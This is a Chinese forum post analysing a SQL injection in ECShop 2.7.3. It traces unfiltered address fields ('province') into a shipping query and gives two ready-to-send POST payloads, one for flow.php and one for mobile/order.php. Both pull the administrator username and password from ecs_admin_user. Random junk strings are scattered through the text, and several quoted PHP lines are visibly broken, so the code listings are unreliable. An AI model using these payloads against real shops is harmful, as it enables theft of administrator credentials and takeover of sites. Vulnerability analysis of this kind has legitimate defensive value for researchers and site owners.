找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2574|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。" g! M, T6 M1 r5 b
7 X# H5 P4 E3 o$ \
    漏洞关键文件:
: F: z/ Z9 o6 X/ K7 k+ C* A- U& m, S5 ~1 j0 Z' a7 g' b3 n+ f( t
    /includes/lib_order.php
8 j2 H' T5 O2 Z2 l/ Q5 \" B, D) m% F3 N6 M
    关键函数:
3 F, w* m7 r9 q; A& q; i: U2 ?0 A# R6 j# p
# x2 M, H" u  O" }- H+ K: S- e* F

6 j9 d1 Z" O$ ^- {3 u. q01     function available_shipping_list($region_id_list)
$ Z7 ~( h4 V3 J+ Y3 c
) t  f& c$ c9 c9 O02 {
! `# N. @6 |' M' U# N8 `+ }6 q! C" A  @, B* s
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . , o6 a0 m/ p7 v: P; Y
1 ^% ?. P! K) q/ i9 l$ |
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . + r- |7 H# ~  ~& ?* q# E; t

) h' m/ l+ l. V5 ^05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
' A. D' ^/ e6 I
- d, r" K5 V+ C; j' R8 T9 }06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 3 G& o0 F5 i$ K0 M
" X3 l: {4 u- B
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. ) P7 A: |( c4 n, k& H( O

" w4 z, I) W4 `$ a1 ~0 U$ \08             'WHERE r.region_id ' . db_create_in($region_id_list) .
6 n% ^1 G- U. M2 b, c6 A  Y. z: o' T' R  a1 t( Z
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; , P: N3 y: g9 {
; Z; s8 H3 R9 x( ~8 j. q; G1 w* t
10   5 i" g. \6 j. k/ L
$ p9 q' r1 m8 V, L% v/ ^
11     return $GLOBALS['db']->getAll($sql); ( z& F3 E. \% R2 s; D7 p

! l3 L0 n7 R( {- b2 p0 Y/ V4 r12 }
$ s2 e/ S( w: ^: z- \8 d. k$ t& v+ ?
显然对传入的参数没有任何过滤就带入了查询语句。
+ r0 u& V6 v; X0 \" b) u3 I * C$ u, s! m/ o% P) z- L
下面我们追踪这个函数在flow.php中:* ], b8 Y& R3 d, c8 y2 s
第531行:   
2 N: e7 @, H7 l, K" }9 E0 t$ G4 h$ w6 h9 a
1 $shipping_list     = available_shipping_list($region); : F$ d( m, U! H4 Q7 I3 o
" o& ]8 V3 ^8 k: |
+ }, U: Z7 F# T4 l+ T7 w4 l, E+ u5 y$ w
9 j! d: G4 ]& p% u& ]: g8 v
1 r/ u& S/ K% w1 h
% [$ G! g* E: y" x+ \' e3 C
再对传入变量进行追踪:
) ~' L) A1 O6 a1 ~8 p* Z3 @% L' F0 Z- R/ _, M
第530行:   
* k0 g. S" f+ \0 y" U; e
# C" |7 v' B- p; ~1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
5 w4 S& e+ B! C% H7 V
( n5 D7 {# c+ C; l ) k! z  h, L$ o2 I1 ?- g# w
: B( R0 E. Q9 n* ^
" r3 T' g9 \$ p6 n, H" W

6 z/ g" L7 g2 i$ K" d第473行:        
; Z9 V3 s' S9 K9 g( W, c( R7 D/ S# G+ ~
1 $consignee = get_consignee($_SESSION['user_id']);
" K$ h4 D, `. f8 T6 y, }
0 I* i* a  e6 l( |  J/ Y  g  Z8 U到了一个关键函数:) `- P$ h, e. K* H3 Z6 ^, o

7 I" A2 G, G6 j* d  A: ^/includes/lib_order.php
3 X9 p; a  _- X7 M# P7 e
- n+ d- x- u4 _5 ?6 y( X
5 q' g* m  `/ D" v# c/ H
! V" v' @: Q/ S4 Q ( m& Q6 M. |( U) h& ?
% q% D9 i; X2 N6 T4 L, X7 J
01 function get_consignee($user_id)
/ ]2 r8 m; y4 U; h
4 }7 Z; m$ J) T) g8 T3 r02 {
, i4 x' [+ Z7 x. q+ S7 `" o! N, P6 g5 H& H
03     if (isset($_SESSION['flow_consignee'])) 0 {" h/ x' F. I

% G9 x4 G8 F$ ~& _7 g0 Y0 t04     {
" v2 f2 H: ~/ i* ^/ H9 ^1 `3 a4 L6 x, K- Z9 v
05         /* 如果存在session,则直接返回session中的收货人信息 */ ) l, t2 [" N4 x- f

+ O* d3 q3 b1 a9 ~06   & O4 d& p- G5 Z+ s! t& z
7 q" O9 t3 E# t( p, U4 G* d3 h
07         return $_SESSION['flow_consignee']; / U8 m# d& }3 r2 R: }6 J
2 J8 }9 Z/ P! v8 H! I
08     } ; i9 M8 {( M# ?4 z2 [! p4 L; z

  j+ E% |( d# ~6 z) S$ Q0 ~7 G! S09     else
1 U# I/ f: I% U- f+ F# f! y/ w, n/ F3 w& ^: H7 t
10     {
/ ?* B) S1 u, V5 L& K! M6 R( k9 f1 B8 \
11         /* 如果不存在,则取得用户的默认收货人信息 */ 5 f* l8 c3 a/ e  m+ U

# l7 A3 u# R7 u! {3 |. F2 [# R12         $arr = array(); 9 t& Z+ Z' g2 N
" \; j. \" R& G/ N% |  T
13   
; T# H" E1 a5 W: R) V
' \; N- A+ r" [/ _14         if ($user_id > 0) - d  C) g4 p. F* m+ ?% o5 I

0 R( `, H" W6 ]* F  s& @/ j15         {
! A, @* C2 K& `. A2 N: i/ G. p, j5 }! j) T, B3 T* ?
16             /* 取默认地址 */ / i( g4 R$ g" @4 j& Y. H
) ~; n' t3 a# M
17             $sql = "SELECT ua.*".
" P: p, A* S8 j) A
3 P7 f4 H& {! n18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
* c9 ?) r" u7 M. }, B2 R7 v! i( C# H
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; + }% Z1 U& A. N- B) s/ o

# a: V  N" k! T7 U, M0 y20   
7 ~6 g" p; R5 L2 A7 k& W# b% ~) q: K' t1 K$ d. r' J; Q/ F& _- c
21             $arr = $GLOBALS['db']->getRow($sql);
) b: Z" ^& L- Q0 s& H) R& \" ]
* R+ e+ ]; J: ?8 g22         }
4 O: H# h# |4 x0 K- D  G1 k1 j2 Y6 h* |0 ?4 }" D; ]2 a
23   
# {( K( l/ S. |& k9 V  f3 b& C3 ?  y3 v) A4 }
24         return $arr;
& u5 c! B) H* Z! S4 T3 c
2 Z  v1 F* x1 K; s6 u25     }
% w. ?2 S. H% a" G  w+ l0 ?
4 X( i& @- z) M( t26 } 7 z6 I3 }" h; x5 r
8 E. w0 y$ v; |( c$ I
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?* W/ C! `% P7 P4 r8 h. o; {
/ `4 H) z% z3 \
) B+ n: w3 p2 x6 k
* M7 _% L+ ?8 h' e9 m  g! [
关键点:
! g8 j6 n0 J( o1 G3 k2 |- x7 G, S( m! ]0 |$ b& Q! A2 Q
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);: Y5 }/ F. t$ |6 M
0 I+ r# c1 ^+ Y3 x3 D
这里对传入参数反转义存入$_SESSION中。* j& _- ^3 [5 I, G

7 }9 s# B: ]% s' F" {4 S 2 p6 u- B8 o9 d4 ]# O6 b

' R( g. n; M! y2 l然后看下:0 Q  p3 I1 e5 ^3 r7 x- J5 ^( G" B

- ?9 w- X6 K: f' b  l ( B8 B& i; F6 G; H) \1 Q
) w; a$ o/ B+ c$ v9 {
   
: A0 K" z5 s# v% e! a/ F
+ K! K$ l2 }2 Q6 X- h; w# {01 $consignee = array( 0 l8 z# t9 A0 z- G; T" A( m& F' h/ m

4 G9 J, s- E4 H& U- V; X0 y02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), , S: m! ]+ B! G+ @8 D
/ J4 Q+ m" [9 Z! a( X
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
$ t' U: \: n4 \- c- u8 O0 p; P- w: ]$ \* w  {1 K% A' b
04         'country'       => empty($_POST['country'])    ? '' _POST['country'], ! ?  ~/ V. Q! @  p

* D: z# U$ t% ]/ M8 T05         'province'      => empty($_POST['province'])   ? '' _POST['province'], : W+ P  H  p. k4 d3 W- ?

+ g) P* i& D* ~5 D06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
% z$ f$ A" q5 l. c! E% Q. J) h
9 m- a7 k' V9 [$ }07         'district'      => empty($_POST['district'])   ? '' _POST['district'], 3 i( f, q9 [/ ^9 j' G8 e0 Y

  a  |  `( j# g08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
, ]: z% j6 b4 A
2 E4 B( B& G5 v/ I. g09         'address'       => empty($_POST['address'])    ? '' _POST['address'], ) R, U: K: t- Q' e+ v' P! T: I! `" L) E
% U% c, O6 S$ S. V" v
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), ) |9 P& V( e( n3 s! @

, |! ^# D' T' J5 I11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), . T, |4 I: I3 Z7 R  q8 X

9 N1 L! E9 |9 j! O$ ]( d6 z12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
9 ?8 c0 J" G1 s- T( j+ O& h5 X8 ^5 w. W9 D1 k5 H; B) l5 t
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 3 w7 n5 A  ^8 w  m
9 K% Q( D* ?1 G5 c4 K& t0 J
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], 7 g5 V+ E8 V5 G% q
; Z2 p) _2 m- X9 w
15     );
% [% X5 ]) I& i/ J: _7 G- l
6 B/ o9 ^$ P3 o7 `' @, c# B好了注入就这样出现了。( F) ^3 n) z% b; D2 N- R4 W  f
5 C: A6 c' k  L+ ~& ~& f; h
==================
! f8 W8 H% |+ c/ ?1 B2 i
7 X- p$ F+ X4 {0 |" x注入测试:
9 b3 i7 g, Y  o1 M) f) t0 ]
5 @# N) X( g; d" @8 ]- A! b环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
2 E) ?# O2 ^4 o0 d( ~1 ~) R6 O; }0 d$ S& f% h8 p6 D
测试程序:ECShop_V2.7.3_UTF8_release1106
7 q0 S& R- g. d- E
# v( ~; [+ t+ V& ^
( I& N0 \/ o( x9 A( J- l* i5 f
* X$ c- Y1 B  D+ n1.首先需要点击一个商品加入购物车
* w6 E5 R% n" y6 l0 z3 p2 e
* y0 m1 }4 ^) e9 {0 u2.注册一个会员帐号# t. \) x' L: O1 x6 ?

6 t/ ?( N* O4 c7 j3.post提交数据/ ?6 T% {: o. e& M' A, @

% \# V5 a* J- o, @4 ~ 3 o5 m0 d  E, E) G& S6 w

6 O( p$ F6 R# t3 W! W$ X: R1 http://127.0.0.1/ecshop/flow.php & n- `. p+ w3 M

* H5 J6 O4 n1 J' {4 w$ C& s2   , Q1 j' @* c2 O( Z+ ]; Y0 C- f0 z( T

4 T8 D# R* V" m1 @3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= 0 t2 Q2 [  ~4 W0 f! S
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
5 K. p! ]% Q& e& ?6 K- O6 d/ _5 c/ i. a# ]  [
我们搜寻关键函数function available_shipping_list(); y8 H3 m5 b3 v+ q) z

0 E3 c$ n+ P5 [$ o% ~$ D在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
1 d4 f: f" h# Z! q  o& G. \3 d0 l5 w% u/ u3 l- I0 p
利用exp:
- B7 ?9 y/ v8 n" C5 w7 _$ H% k7 F4 a3 E4 }7 u
1.点击一个商品,点击购买商标; |! [* L" f3 O6 w
" g) v8 \8 ?1 y/ j7 m8 C# i$ \) u  C
2.登录会员帐号
- r2 w" ~$ {" c( J9 c8 Z
6 E" p$ e8 X* _3.post提交:
' V4 n& L- f" g4 m! M  e! J  n' C+ q9 C+ j
http://127.0.0.1/ecshop/mobile/order.php
. z( g0 t9 c1 A, _: R0 S7 c: q8 K2 N/ f

/ I$ e4 {) M' b; ?- _: W% A0 {1 H4 L, Y! u4 v% i7 m
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=) b7 h- J8 J, l
6 p4 [8 U4 v; D5 X$ p, u' L) M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表